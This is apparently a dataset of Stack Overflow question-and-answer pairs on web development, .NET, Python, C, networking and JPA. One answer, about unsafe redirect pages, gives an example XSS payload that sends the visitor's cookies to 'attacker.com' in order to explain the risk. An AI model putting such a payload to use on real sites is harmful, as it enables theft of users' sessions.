input
stringlengths
51
42.3k
output
stringlengths
18
55k
Why so many web pages contain such a strange code snippet in header? <p>I've noticed for quite a long time that strange domains such like jsev.com, cssxx.com appered in my firefox status bar from time to time, I always wonder why so many web pages contains resources from these strange domains. I googled it, but found nothing. I guess it's some kind of virus which infect the servers and insert the code. Here is a sample taken from page header of <a href="http://www.eflorenzano.com/threadexample/blog/" rel="nofollow">http://www.eflorenzano.com/threadexample/blog/</a>:</p> <pre><code>&lt;script language="javascript" src="http://i.jsev.com./base.2032621946.js"&gt; &lt;/script&gt; &lt;body onmousemove="return fz3824();"&gt; &lt;LINK REL="stylesheet" TYPE="text/css" HREF="http://i.cssxx.com./base2032621947.css"&gt; &lt;A HREF = "http://i.html.com./base2032621947.html"&gt;&lt;/A&gt; &lt;SCRIPT LANGUAGE="JAVASCRIPT" SRC="http://i.js.com./base2032621947.js"&gt;&lt;/SCRIPT&gt; &lt;SCRIPT LANGUAGE="JAVASCRIPT"&gt; function getuseragnt() { var agt = navigator.userAgent.toLowerCase(); agt = agt.replace(/ /g, ""); return agt; } document.write("&lt;LINK REL='stylesheet' TYPE='text/css' HREF='http://i.css2js.com./base.css" + getuseragnt() + "_2032621947'&gt;") &lt;/SCRIPT&gt; </code></pre> <p>edit: I am on a debian box, only on firefox I see this code, I just tried opera, this code doesn't appear in opera, really strange, never heard of firefox having such problems.</p>
<p>This happens if you are using one of Princeton university's CoDeeN project proxy servers. CoDeeN is an academic testbed content distribution network. When you browse a web page using CoDeeN proxy it injects some HTML code to the site's original HTML and redirects requests sent to pseudo adresses to the project's servers. Some of the pseudo addresses are: <a href="http://i.cssxx.com./base0877861956.css" rel="nofollow">http://i.cssxx.com./base0877861956.css</a> | i.cssxx.com. <a href="http://i.jsev.com./base.0877861955.js" rel="nofollow">http://i.jsev.com./base.0877861955.js</a> | i.jsev.com./ <a href="http://i.html.com./base0877861956.html" rel="nofollow">http://i.html.com./base0877861956.html</a> | i.html.com. <a href="http://i.js.com./base0877861956.js" rel="nofollow">http://i.js.com./base0877861956.js</a> | i.js.com./ <a href="http://i.css2js.com./base.css" rel="nofollow">http://i.css2js.com./base.css</a> | i.css2js.com.</p> <p>Some or all CoDeeN's proxy servers appear as anonymous proxy servers list. CoDeeN project page: <a href="http://codeen.cs.princeton.edu/" rel="nofollow">http://codeen.cs.princeton.edu/</a></p>
How do I attach the debugger to IIS instead of ASP.NET Development Server? <p>I have an ASP.NET website and when I press F5 it automatically attaches to the ASP.NET Development Server, how do I attach to IIS worker process instead when I press F5?</p>
<p>Debug->Attach To Process...</p> <p>Select the <strong>aspnet_wp.exe</strong> process from the list.</p> <p>If you're running <strong>IIS > version 5</strong> the process will be <strong>w3wp.exe</strong>, and there will be one for every app pool (so if you don't know which app pool you're hitting, you'll need to attach to all of them).</p>
Software patents or Can I write a RSVP program for my mobile device? <p>I wanted to write a small <a href="http://en.wikipedia.org/wiki/Rapid_Serial_Visual_Presentation" rel="nofollow">Rapid Serial Visual Presentation (RSVP)</a> program for my mobile device but I realized that there are some patent issues associated with that technique (<a href="http://www.freepatentsonline.com/EP1275051.html" rel="nofollow">exhibit 1</a> and <a href="http://patft.uspto.gov/netacgi/nph-Parser?Sect2=PTO1&amp;Sect2=HITOFF&amp;p=1&amp;u=%2Fnetahtml%2Fsearch-bool.html&amp;r=1&amp;f=G&amp;l=50&amp;d=PALL&amp;RefSrch=yes&amp;Query=PN%2F6056551" rel="nofollow">exhibit 2</a>). </p> <p>Can I write such program and try to make money with it? Would it be legal to give such program for free?</p>
<p>You really need to consult an attorney for something like this.</p>
What is the aspnet_client folder for under the IIS structure? <p>I notice that there's frequently an aspnet_client folder under the standard IIS web folder structure. What is this used for? Is it needed?</p>
<p>In the .NET 1.1 days and before, this folder provided ASP.NET with it's JavaScript support for the validation controls and other functionality. If you don't have a .NET 1.1 site or older running it should be safe to delete it. I would rename it first to ensure it doesn't cause any problems.</p>
Try to describe polymorphism as easy as you can <p>How can polymorphism be described in an easy-to-understand way?</p> <p>We can find a lot of information about the subject on the Internet and books, like in <em><a href="http://en.wikipedia.org/wiki/Type_polymorphism">Type polymorphism</a></em>. But let's try to make it as simple as we can.</p>
<p>Two objects respond to the same message with different behaviors; the sender doesn't have to care.</p>
QR decoder that works on mac? <p>Anyone know a QR decoder that works on mac or that might be online? I just need to decode one single image.</p>
<p>Unfortunately, the most used library <a href="http://trac.koka-in.org/libdecodeqr" rel="nofollow">libdecodeqr</a> is depends on OpenCV (gtk2) and it is too hard to compile it on OS X. (Tried to compile it because it is needed by <code>Image::DecodeQR</code> perl module - but unsuccessful).</p> <p>Fortunately, found this link: <a href="http://macscripter.net/viewtopic.php?id=37404" rel="nofollow">http://macscripter.net/viewtopic.php?id=37404</a> from citing the next:</p> <ol> <li>Download the <a href="http://zbar.sourceforge.net/download.html" rel="nofollow">ZBar source code</a>.</li> <li>Unpack the the tarball, and open the resulting directory in a Terminal window.</li> <li>Type <code>./configure --disable-video --without-python --without-gtk --without-qt</code> to configure the build process, limiting dependencies to ImageMagick.</li> <li>Type "make" to invoke the build process.</li> <li>Type "sudo make install", and enter an administrator password when prompted.</li> </ol> <p>You will need <code>ImageMagick</code> what can be installed from <a href="http://www.macports.org" rel="nofollow">macports</a>.</p> <p>After installing the ZBar, you can nicely decode qrcode with a command</p> <pre><code>zbarimg qrcode_file.png </code></pre> <p>Tested on OS X Mavericks 10.9.2 (and Lion/10.7.5)- and works nicely. Becasue it only depends on ImageMagick (exists in macports)- should be easily "compilable" on other OS X versions too.</p>
How secure are CGI based web apps? <p>A very well known major drawback of using CGI is poor webserver performance. But how secure are CGI (mainly C/C++) based applications? Are there any major security holes in CGI architecture built on C/C++? </p> <p>I would like to know some real life implementations of CGI based web apps/web sites. One that I know of is javaranch.com. </p>
<p>The major security hole I would see anywhere, C/C++ included, would be not using a standard, open CGI library, not reading its documentation, and thinking you're secure anyway.</p> <ul> <li>don't re-invent the wheel. Use a CGI library. Some languages have this built-in (PHP probably does), others have it included (Perl comes to mind), others need you to grab it from elsewhere (C/C++). Make sure you know what it is, and that you use it. Do <strong>not</strong> try to implement it yourself. If you have to ask about security, you, like me, are not qualified to write it.</li> <li>Read the documentation. If you're using a well-established library, there will be documentation on security issues and what you can do to avoid them.</li> <li>Do not ever assume you're secure. I'm quite sure I'm not secure, even though I've followed all the rules in the CGI library for Perl, and the rules in the database interface library, etc. But I still assume I'm not secure, and keep it on the forefront of my mind when doing anything there. Should I ever be an expert on security, maybe I'll change my assumption. Not sure yet.</li> </ul> <p>Security is always multi-faceted, and always incomplete. There are holes being found in all sorts of software all the time - software that may have been previously thought secure. And now we have many more best-practices for security than we did, say, 15 years ago. And we have SELinux for more security.</p> <p>Of course, the question is - do you have enough security for your app? Does a reasonable effort get you a reasonable level of security? Of course, that's why I don't use C/C++, but I use Perl instead. It takes a lot less effort to ensure I don't overwrite memory in Perl than it does in C++. That's a level of security right there with no actual work involved.</p>
Why does scanf() need "%lf" for doubles, when printf() is okay with just "%f"? <p>Why is it that <code>scanf()</code> needs the <code>l</code> in "<code>%lf</code>" when reading a <code>double</code>, when <code>printf()</code> can use "<code>%f</code>" regardless of whether its argument is a <code>double</code> or a <code>float</code>?</p> <p>Example code:</p> <pre><code>double d; scanf("%lf", &amp;d); printf("%f", d); </code></pre>
<p>Because C will promote floats to doubles for functions that take variable arguments. Pointers aren't promoted to anything, so you should be using <code>%lf</code>, <code>%lg</code> or <code>%le</code> (or <code>%la</code> in C99) to read in doubles.</p>
ASP.NET HTTP handlers and global variables <p>I have created HTTP handlers. </p> <p>How do I create global variables for these handlers like I can with ASP.net web pages in global.asax?</p>
<p>Add the variables to the Application instance:</p> <pre><code>System.Web.HttpContext.Current.Application["MyGlobalVariable"] = myValue; </code></pre> <p>Or, if the variable only need to live for the life of an individual request, use the Context object's Items collection:</p> <pre><code>System.Web.HttpContext.Current.Items["MyGlobalVariable"] = myValue; </code></pre> <p>Again, that will live for only the life of a single request.</p>
Validate image from file in C# <p>I'm loading an image from a file, and I want to know how to validate the image before it is fully read from the file.</p> <pre><code>string filePath = "image.jpg"; Image newImage = Image.FromFile(filePath); </code></pre> <p>The problem occurs when image.jpg isn't really a jpg. For example, if I create an empty text file and rename it to image.jpg, an OutOfMemory Exception will be thrown when image.jpg is loaded.</p> <p>I'm looking for a function that will validate an image given a stream or a file path of the image.</p> <p>Example function prototype</p> <pre><code>bool IsValidImage(string fileName); bool IsValidImage(Stream imageStream); </code></pre>
<p>here is my image check. I cannot rely on file extensions and have to check the format on my own. I am loading BitmapImages in WPF from byte arrays and don't know the format upfront. WPF detects the format fine but does not tell you the image format of BitmapImage objects (at least I am not aware of a property for this). And I don't want load the image again with System.Drawing only to detect the format. This solution is fast and works fine for me.</p> <pre><code>public enum ImageFormat { bmp, jpeg, gif, tiff, png, unknown } public static ImageFormat GetImageFormat(byte[] bytes) { // see http://www.mikekunz.com/image_file_header.html var bmp = Encoding.ASCII.GetBytes("BM"); // BMP var gif = Encoding.ASCII.GetBytes("GIF"); // GIF var png = new byte[] { 137, 80, 78, 71 }; // PNG var tiff = new byte[] { 73, 73, 42 }; // TIFF var tiff2 = new byte[] { 77, 77, 42 }; // TIFF var jpeg = new byte[] { 255, 216, 255, 224 }; // jpeg var jpeg2 = new byte[] { 255, 216, 255, 225 }; // jpeg canon if (bmp.SequenceEqual(bytes.Take(bmp.Length))) return ImageFormat.bmp; if (gif.SequenceEqual(bytes.Take(gif.Length))) return ImageFormat.gif; if (png.SequenceEqual(bytes.Take(png.Length))) return ImageFormat.png; if (tiff.SequenceEqual(bytes.Take(tiff.Length))) return ImageFormat.tiff; if (tiff2.SequenceEqual(bytes.Take(tiff2.Length))) return ImageFormat.tiff; if (jpeg.SequenceEqual(bytes.Take(jpeg.Length))) return ImageFormat.jpeg; if (jpeg2.SequenceEqual(bytes.Take(jpeg2.Length))) return ImageFormat.jpeg; return ImageFormat.unknown; } </code></pre>
What data type do you use for storing IDs? <p>Why is there a minimum character count for posting questions? o.O</p> <p>Do you use int, bigint, tinyint, whatever?</p> <p>It seems like a small thing I guess, I was just wondering what the usual practice is</p>
<p>It all depends ... my favorite answer to a question! =)</p> <p>Most of the time we use Guids. While they are larger, size-wise, than int, tinyint and so on, I like the fact that my business objects can <strong>know</strong> what the value is <strong>before</strong> inserting records into the database. </p> <p>At other times I may use strings, for things like customer id, where it might need to be easily <strong>recognized</strong> when working with the database.</p>
Can you find the web security issue here? <p>I have a webpage that redirects to another webpage like this:</p> <pre><code>http://www.myOtherServer.com/Sponsor.php?RedirectPage=http://mylink.com/whereIwasgoingtogo.html </code></pre> <p>Then the Sponsor.php page displays an ad with a link saying "Continue to your page" that links to the passed in RedirectPage. Are there security/spoofing issues that could come from this? What is the best way to handle this? (note that the user is not logged in to either site)</p>
<p>It's a big problem. If I send you a link that looks like this:</p> <pre><code> http://cnn.com/sponsor.php?redirectpage=http://bit.ly/jh2l14 </code></pre> <p>You're going to think "Oh, CNN, that's a legit site", and you'll open it and click the 'Continue to Your Page' link. And then you'll be on one of the nastiest porn sites on the net and it'll have a giant booming male voice announcing to all your co-workers <strong>"Hot Damn I Want to !@$@#$ Your !(&amp;¤&amp;^$§ until I can't ¡⌐^(!#~~&amp;$^#!@$!!</strong>" and you'll have to explain to your boss "I thought it was CNN!"</p> <p>The hole here is <em>your reputation</em>. Blind redirects like this are dangerous.</p> <p>And that's just one hole. How about this?</p> <pre><code> http://cnn.com/sponsor.php?redirectpage=javascript:location.href='http://attacker.com/' + document.cookie </code></pre> <p>Now I've XSS-ed your site and stolen your user's cookies. Sure, you say there's no login info, but how about session data? Or when you add a login later, or someone else in your company uses this page a year later where users are logged in.</p>
Python's __import__ doesn't work as expected <p>When using <code>__import__</code> with a dotted name, something like: <code>somepackage.somemodule</code>, the module returned isn't <code>somemodule</code>, whatever is returned seems to be mostly empty! what's going on here?</p>
<p>From the python docs on <code>__import__</code>:</p> <blockquote> <pre><code>__import__( name[, globals[, locals[, fromlist[, level]]]]) </code></pre> <p>...</p> <p>When the name variable is of the form package.module, normally, the top-level package (the name up till the first dot) is returned, not the module named by name. However, when a non-empty fromlist argument is given, the module named by name is returned. This is done for compatibility with the bytecode generated for the different kinds of import statement; when using "import spam.ham.eggs", the top-level package spam must be placed in the importing namespace, but when using "from spam.ham import eggs", the spam.ham subpackage must be used to find the eggs variable. As a workaround for this behavior, use getattr() to extract the desired components. For example, you could define the following helper:</p> <pre><code>def my_import(name): mod = __import__(name) components = name.split('.') for comp in components[1:]: mod = getattr(mod, comp) return mod </code></pre> </blockquote> <p><strong>To paraphrase:</strong></p> <p>When you ask for <code>somepackage.somemodule</code>, <code>__import__</code> returns <code>somepackage.__init__.py</code>, which is often empty.</p> <p>It will return <code>somemodule</code> if you provide <code>fromlist</code> (a list of the variable names inside <code>somemodule</code> you want, which are not actually returned)</p> <p>You can also, as I did, use the function they suggest.</p> <p>Note: I asked this question fully intending to answer it myself. There was a big bug in my code, and having misdiagnosed it, it took me a long time to figure it out, so I figured I'd help the SO community out and post the gotcha I ran into here.</p>
Python Inverse of a Matrix <p>How do I get the inverse of a matrix in python? I've implemented it myself, but it's pure python, and I suspect there are faster modules out there to do it.</p>
<p>You should have a look at <a href="http://www.scipy.org/Tentative_NumPy_Tutorial">numpy</a> if you do matrix manipulation. This is a module mainly written in C, which will be much faster than programming in pure python. Here is an example of how to invert a matrix, and do other matrix manipulation.</p> <pre><code>from numpy import matrix from numpy import linalg A = matrix( [[1,2,3],[11,12,13],[21,22,23]]) # Creates a matrix. x = matrix( [[1],[2],[3]] ) # Creates a matrix (like a column vector). y = matrix( [[1,2,3]] ) # Creates a matrix (like a row vector). print A.T # Transpose of A. print A*x # Matrix multiplication of A and x. print A.I # Inverse of A. print linalg.solve(A, x) # Solve the linear equation system. </code></pre> <p>You can also have a look at the <a href="http://www.python.org/doc/2.5.2/lib/module-array.html">array</a> module, which is a much more efficient implementation of lists when you have to deal with only one data type.</p>
How can I extract and save text using Perl? <p>No extracted data output to data2.txt? What goes wrong to the code?</p> <p><strong>MyFile.txt</strong></p> <pre><code>ex1,fx2,xx1 mm1,nn2,gg3 EX1,hh2,ff7 </code></pre> <p>This is my desired output in data2.txt:</p> <pre><code>ex1,fx2,xx1 EX1,hh2,ff7 </code></pre> <p><br></p> <pre><code>#! /DATA/PLUG/pvelasco/Softwares/PERLINUX/bin/perl -w my $infile ='My1.txt'; my $outfile ='data2.txt'; open IN, '&lt;', $infile or die "Cant open $infile:$!"; open OUT, '&gt;', $outfile or die "Cant open $outfile:$!"; while (&lt;IN&gt;) { if (m/EX$HF|ex$HF/) { print OUT $_, "\n"; print $_; } } close IN; close OUT; </code></pre>
<p>This regex makes no sense:</p> <pre><code>m/EX$HF|ex$HF/ </code></pre> <p>Is $HF supposed to be a variable? What are you trying to match? </p> <p>Also, the second line in <em>every</em> Perl script you write should be:</p> <pre><code>use strict; </code></pre> <p>It will make Perl catch such mistakes and tell you about them, rather than silently ignoring them.</p>
How does traceroute work? <p>It seems almost magical. What is the traceroute command doing in order to map out the entire path to some other node on the Internet?</p>
<p>traceroute sets the TTL (Time To LIve) field to 1 and increments it for every hop. the routers receiving the message decrement this value and when it reaches 0 they reply a message that the TTL has reached zero. With this reply the client knowns who's in between. do this iteratively until your destination and you got the (at least one of them) route</p>
Updating Access 2003 to 2007, potential issues? <p>I've written an Access 2003 application to handle internal things at my company over the past couple years and we are talking about upgrading all of our computers to Office 2007 which means Access will be updated. Is this going to cause a problem for me?</p>
<p>Allen Browne, Microsoft access MVP, has written a comprehensive article on Microsoft Access 2007 and upgrading:</p> <p><a href="http://allenbrowne.com/Access2007.html">Converting to Access 2007</a></p> <p>Here is an article by Microsoft:</p> <p><a href="http://msdn.microsoft.com/en-us/library/bb203849.aspx">Transitioning Your Existing Access Applications to Access 2007</a></p> <p>In case you are not aware, it is possible to <a href="http://office.microsoft.com/en-us/FX102855291033.aspx">try 2007 for free</a>. I would not recommend trying on a PC that you use regularly for other Access work, it is not impossible, but things get awkward.</p> <p>If you wish to run your 2003 version on 2007, make sure that you create an mde, otherwise you will run into problems. Access 2007 treats several controls in a different way, for example, textboxes with date fields get calendars attached. You will also need to check your references. I also recommend that you <a href="http://office.microsoft.com/en-us/access/HP010397921033.aspx">self-certify</a> your projects. Other than that, I have seen posts on a number of problems, but these are usually specific to the poster.</p>
How does COM registration work in Windows <p>I'm an application packager trying to make sense of how the COM registry keys (SelfReg) interrelate to the given .dll in Windows.</p> <p>ProgID's, AppID's, TypeLibs, Extensions &amp; Verbs are all tied around the CLSID right? Do CLSID's always use Prog/App IDs or could you just have a file extension class? Which bits are optional? </p> <p>Some of it seems to be 'like a router' where there's the two interfaces (internal - .dll) and external (the extension etc).</p> <p>How does this all fit? (The SDK documentation doesn't make sense to me)</p> <p>I ask as this is all pivotal to application 'healing' with Windows Installer (which packagers are all 'big' on, but there's no nitty-gritty breakdowns since its a coder-thing really)</p> <p>---Edit: Am I safe in assuming that for what COM is registered, it must all link back to the CLSID and cannot be a 'dead-end'? Verbs need extensions which need progid's...</p> <p>What about the AppId's, TypeLibs and Interfaces? How do they interrelate?</p>
<p>The first thing to realise, is that COM dlls register themselves. They will put all the required entries into the correct places in the registry.</p> <p>I think the answer to your central question about which bits are optional is probably that they are all optional for different types of objects. Automation objects require Prog/AppIDs if they are publicly creatable, but may not if they are only created internally, similarly a non- publicly creatable COM class can be listed. </p> <p>Many COM objects that do not have automation interfaces (such as many of the COM classes microsoft uses internally in windows will not have any ProgId but will simply have an entry under their CLSID in HKCR\CLSID.</p> <p>If I understand you correctly you are interested in this from a installer perspective. I would imagine that all you need do is ask the user to specify which dlls are selfregistering and then call</p> <blockquote> <p>regsvr32 dllname.dll </p> </blockquote> <p>or</p> <blockquote> <p>exename.exe /Regserver</p> </blockquote> <p>for a out of process server. If something goes wrong you just need to call the opposites.</p> <blockquote> <p>regsvr32 /u dllname.dll </p> </blockquote> <p>or</p> <blockquote> <p>exename.exe /Unregserver</p> </blockquote> <p>I hope that this answers your question.</p>
Lightweight messaging (async invocations) in Java <p>I am looking for lightweight messaging framework in Java. My task is to process events in a SEDA’s manner: I know that some stages of the processing could be completed quickly, and others not, and would like to decouple these stages of processing.</p> <p>Let’s say I have components A and B and processing engine (be this container or whatever else) invokes component A, which in turn invokes component B. I do not care if execution time of component B will be 2s, but I do care if execution time of component A is below 50ms, for example. Therefore, it seems most reasonable for component A to submit a message to B, which B will process at the desired time.</p> <p>I am aware of different JMS implementations and Apache ActiveMQ: they are too heavyweight for this. I searched for some lightweight messaging (with really basic features like messages serialization and simplest routing) to no avail.</p> <p>Do you have anything to recommend in this issue?</p>
<p><em>Really</em> lightweight? <a href="http://java.sun.com/javase/6/docs/technotes/guides/concurrency/overview.html" rel="nofollow">Executors</a>. :-) So you set up an executor (B, in your description), and A simply submits tasks to the executor.</p>
Eclipse, where to change the current debug line background? <p>Can anyone point me to the preferences page that has the setting of the <strong>DEBUG</strong> current line background color? I have changed almost all the colours to dark ones and still get annoyed by this almost white current line indicator while debugging (note that the current line indication in editing mode is OK).</p>
<p>Ok, now I found it myself (through major reverse engineering). It is in General\Editors\Text Editors\Annotations page. It's called "Debug Current Instruction Pointer"</p>
Is it possible to change the properties of a WebReference in run-time? <p>I am trying to come up with such a solution that the user is going to enter the URL of a web-service and it is going to be tested.</p> <p>Although what I want is a URL change, I guarantee the Service Description is always going to be the same (except the wsdl:service tag of course which contains the soap:address); I just want to test different customers, running the same service.</p>
<p>yes you can. just change the url property of the service proxy before calling any methods on it.</p>
Why global.asax Application_Error method does not catch exceptions thrown by ASMX service? <p>And how to fix it. I'd like to log every thrown exception for maintenance purpose.</p>
<p>This is a known issue in .Net - Application_Error never fires for a web service. Not sure if there's any reason it would be by design, but it just doesn't work.</p> <p>Jeff Atwood had a <a href="http://blog.codinghorror.com/throwing-better-soap-exceptions/">post</a> (and <a href="http://blog.codinghorror.com/throwing-better-net-exceptions-with-soap-and-http/">follow-up</a>) about this a few years ago, with the following ideas:</p> <ul> <li>Put a try-catch block around each web service method</li> <li>Use a facade design pattern and include the try-catch in parent objects</li> <li>Write a custom SOAP extension or HTTPModule</li> </ul> <p>The only one I care for is the first one, even though it seems like a lot of work.</p>
Safari/WebKit table over-run when using whitespace: nowrap <p>Having a strange rendering issue with Safari: </p> <p>I have a table inside a div. Inside the table &lt;td&gt; I have lots of div's floated left. So the normal display is all of the divs within the td stacked up to the left until they fill the width, then flow to the next line, and so forth. So something like this:</p> <pre><code>|===========================| | |---------------------| | | | XXX XXX XXX XXX | | | | XXX XXX | | | | | | | |---------------------- | |===========================| </code></pre> <p>That works in all browsers except safari/webkit, where it ends up something like this:</p> <pre><code>|===========================| | |-------------------------------| | | XXX XXX XXX XXX XXX XXX | | | | | |-------------------------------| |===========================| </code></pre> <p>Update: Finally figured out the issue: my inner divs (the "XXX"s) had <code>white-space: nowrap</code>. Apparently webkit was no-wrap'ing the entire list of divs instead of applying the nowrap within the div. </p> <p>That was a nasty one.</p> <p>(This had nothing to do with display:none)</p>
<p>Answering my own question: </p> <p>Finally figured out the issue: my inner divs (the "XXX"s) had white-space: nowrap. Apparently webkit was no-wrap'ing the entire list of divs instead of applying the nowrap within the div.</p> <p>That was a nasty one.</p> <p>(This had nothing to do with display:none)</p>
ASDoc through the Flex Builder UI? <p>Is there any way to run ASDoc on your project via the Flex Builder UI? Or, is there a good (preferably free) plugin that will do so?</p> <p>If there is no UI for it, does someone have a link to a tutorial on how to set it up to be automatic when I build my project, maybe via Ant (which I've never used, but am more than happy to try) or something? (sorry for the multi-part question)</p>
<p>Here are some links to ant tasks that run AsDoc for you:</p> <ul> <li><a href="http://www.ericfeminella.com/blog/2007/06/07/asdocanttask-project-for-eclipse/" rel="nofollow">one from Eric Feminella</a></li> <li><a href="http://www.herrodius.com/blog/85" rel="nofollow">one from Christophe Herreman</a></li> </ul>
PHP generating XML, time-outs randomly <p>I have no idea. This causes seemingly random time-outs. These in turn break the flash that i am loading it into. Has anyone seen anything like this before?</p> <pre><code>&lt;?php require_once("../includes/class.database.php"); require_once("../includes/dbConnectInfo.inc"); require_once("../includes/functions.php"); include("../includes/conn.php"); $cat = $_GET['category']; $result = mysql_query("SELECT * FROM media WHERE related_page_id=4 &amp;&amp; type='copy' ORDER BY id ASC LIMIT 6"); $media = "&lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?&gt;\n"; $media .= "&lt;content&gt;\n"; while($row = mysql_fetch_array($result)) { $media .="&lt;member&gt;\n"; $body = $row[copy]; if($row[title] == "") { $media .= "&lt;title&gt;&lt;![CDATA["; $media .= "Team"; $media .="]]&gt;&lt;/title&gt;\n"; }elseif($row['path']==""){ $name = explode("/",$row[title],2); $media .= "&lt;name&gt;&lt;![CDATA["; $media .= $name[0]; $media .="]]&gt;&lt;/name&gt;\n"; $media .= "&lt;job&gt;&lt;![CDATA["; $media .= $name[1]; $media .="]]&gt;&lt;/job&gt;\n"; } if($body !="") { $media .="&lt;bio&gt;&lt;![CDATA["; $media .= $body; $media .= "]]&gt;&lt;/bio&gt;\n"; } $something = $row['id']; $result1 = mysql_query("SELECT * FROM media WHERE assets='$something'"); $media .= "&lt;images&gt;"; while($row1 = mysql_fetch_array($result1)) { $img = explode("/",$row1[path],2); $media .= "&lt;image url='$img[1]' /&gt;"; } $media .= "&lt;/images&gt;\n"; $media .="&lt;/member&gt;\n"; } $media .= "&lt;/content&gt;"; echo $media; ?&gt; </code></pre>
<p>What happens if you add <code>set_time_limit(0);</code> to the code? I usually add that line to long-executing code below the include statements.</p> <p>Since this works, let me elaborate.</p> <p>By default, PHP scripts are set up to only execute for so long. I believe the limit is 30 seconds when PHP is installed, but this can be changed in the php.ini file. However, you might not want to allow all scripts to run for the same length of time - 30 seconds might be fine for most scripts. The <code>set_time_limit</code> function allows you to set the execution time for one script. It takes an integer value which represents the number of seconds to run the script, but a value of 0 means the script will run forever.</p>
C++ to Perl/Tk <p>I have to do a college project using C++. It also requires a GUI and I want to use Perl/Tk for the Gui, but am not sure how to link the C++ to the Perl. The project requires being able to pass variables back and forth. Could anyone point me in the direction of some good tutorials/books for linking the two? Or any ideas on how I should approach the problem as I have never had to link two languages before.</p> <p>Thanks</p>
<p>I'm <a href="http://www.perlfoundation.org/leon_timmermans_embedding_perl_into_c_applications" rel="nofollow">working</a> on a <a href="http://code.google.com/p/libperl/" rel="nofollow">library</a> to make that as simple as possible, but it's still an alpha version.</p>
How to deal with an Undocumented API/Framework under .NET? <p>For work I have to code with an external company's API to deal with their proprietary database solution. Unfortunately the documentation they provide is more of an example guide then proper API docs, so it is very light on nitty gritty details like error codes, method returns, and exceptions. </p> <p>So for instance, a class will have a .GetErrorCode() method, but I have no idea what those error numbers mean because they didn't document what number matches up with what error. In many cases a method will return an Object, with no documentation of what the type of Object it actually returns. I have asked them repeatedly for proper documentation but they seem to think details like the ones above are propriety secrets. So, is there any tools or methods I can work around my limited or in some cases non-existent documentation.</p> <p>Please note that I am using Visual Studo 2005 and coding in C# under .Net.</p> <p>And before anyone answers, "don't use the API", I have to, it is for work.</p>
<p>A nasty scenario. I hate to suggest it, but maybe <a href="http://www.red-gate.com/products/reflector/">reflector</a> is your friend if it isn't obfuscated. There may be some IP issues, but in this case reversing it seems the only viable way of finding out what the API is. However, I suspect (from methods like .GetErrorCode()) that this is a shim on top of P/Invoke - in which case even reflector will just show you lots of external calls...</p> <p>The main other thing I can say is: write <em>lots</em> of unit tests that cover how you are trying to use it... that way if you guess wrong and something changes, you'll know early.</p>
In a spring configuration, what is the difference between using name vs id? <p>In a spring configuration, what is the difference between using name vs id? I'm aware that XML restricts the "id" attribute to be unique in a document and limits the characters for using in the id. But otherwise when declaring a bean, what is the difference between using the "name" attribute vs the "id" attribute?</p>
<p>Essentially, this is really just a XML matter. But you can also use the name attribute to specify aliases for a bean using characters which would be illegal in an id, I think.</p>
Berkley packet filter for Windows <p>Is Berkley Packet Filter supported on Windows or is there something comparable which I should use?</p>
<p>For windows there is <a href="http://www.winpcap.org" rel="nofollow">WinPCap</a> that could help you do the same thing. On XP SP2 and Vista there is the limitation that only administrators can create raw packets.</p> <p>More info about Berkeley Packet Filter <a href="http://en.wikipedia.org/wiki/Berkeley_Packet_Filter" rel="nofollow">here</a></p>
What is the appropriate layer for string parsing in .NET? <p>Consider a standard ASP.NET web application where the user types in some numeric data on a form. On submitting, some business objects are spun up to operate on the numeric data. But server-side textbox controls in .Net return a value of type string. Question: Should the codebehind of the page take responsibility for parsing the strings into numeric data (and throwing errors if invalid), or should the business objects accept strings for their input and parse them themselves?</p>
<p>IMO, the business objects should accept numeric types only. Strings can be parsed in various formats, according to culture specific rules. Numbers are numbers. You don't want to change your business objects for localization - accepting only numbers will make it easier to reuse.</p>
Should application architects write code? <p>This is an often-asked question that has views on both side. Those in favour will argue:</p> <ul> <li>To design a system for coders you must understand how to code (and be coding)</li> <li>You can't design a system without being aware of what is happening at ground level</li> <li>Architecture is not just about broad stroke design but about adapting to changing needs at the code level</li> </ul> <p>on the other hand,</p> <ul> <li>Architecture is a high-level role and should be not be concerned about implementation details</li> <li>Coding is a detailed oriented, heads-down funtion which is at odds with the risk management, broad view nature of architecture</li> <li>Architecture is about technical risk management and not implementation</li> <li>Architecture is about leadership. It's difficult to lead from behind</li> </ul> <p>In my experience architects should not be spending a lot of time coding but must keep in touch with the code base primarily through lead developer communication, review and stand ups. If you spend a lot of time coding you lose sight of the high level issues and become ineffective at managing technical risk.</p>
<p>Even if your argument against coding is valid, I think it's important for the dev team to respect you and your design decisions. If you "suffer the consequences" of your architecture decisions right along with them, then they're <em>much</em> less likely to question them.</p> <p>All the time, I see architects who are out of touch with the coding side, and whose dev teams know it. They don't get much respect.</p>
When does a project not require an application architect? <p>Do moderate or large projects ever not require an architect? I have worked on a number of projects where the development company involved has choosen not to assign an application architect. Either the software is built organically and with little concern for design or the design responsibility falls to senior developers.</p> <p>The motivations for not having an architect range from cost considerations to believing that the development methodology makes the architectural role unnecessary (this argument could be made for agile development). Some open source projects work on the principle of collective contribution rather than development with architectural leadership.</p>
<p>If you already have an architecture/system pattern that will allow you to build your project, you won't need an architect at all.</p> <p>I teach Software Architecture at university, and the central skill we believe architects bring to the table is a systematic, thorough design process that satisfies the needs of all stakeholders with careful considerations for competing interests. There's a bunch of technical knowledge that architects must have, but it's not uncommon for developers to have the same knowledge (and even more). </p> <p>The key thing is capturing quality scenarios and knowing how to apply design techniques/patterns that meet these qualities. Or inventing something on the fly if you have to.</p> <p>Architectural reuse in the industry is high, often to the point that an architect is redundant.</p> <p>Since I talk alot about this stuff, I could really go on and on and on...</p> <p><strong>UPDATE:</strong> I'd thought I'd collate some of the thoughts expressed in other answers.</p> <ul> <li>Architects are a central communication point.</li> <li>Architects communicate the design - good ones do it efficiently. </li> <li>Architects bring essential experience to the product/project.</li> <li>Bigger constructions need bigger designs, more planning, prototyping, etc and need someone to ensure "the right system is built right".</li> <li>In contrast to developers, architects consider developers to be stakeholders and implement tactics for dealing with their desired non-runtime qualities (scalability, maintainability, testability, reusability, configurability (MeTRiCS)).</li> </ul>
Which annotation should I use: @IdClass or @EmbeddedId <p>The <code>JPA</code> (Java Persistence API) specification has 2 different ways to specify entity composite keys: <code>@IdClass</code> and <code>@EmbeddedId</code>. </p> <p>I'm using both annotations on my mapped entities, but it turns out to be a big mess to people who aren't very familiar with <code>JPA</code>. </p> <p>I want to adopt only one way to specify composite keys. Which one is really the best? Why?</p>
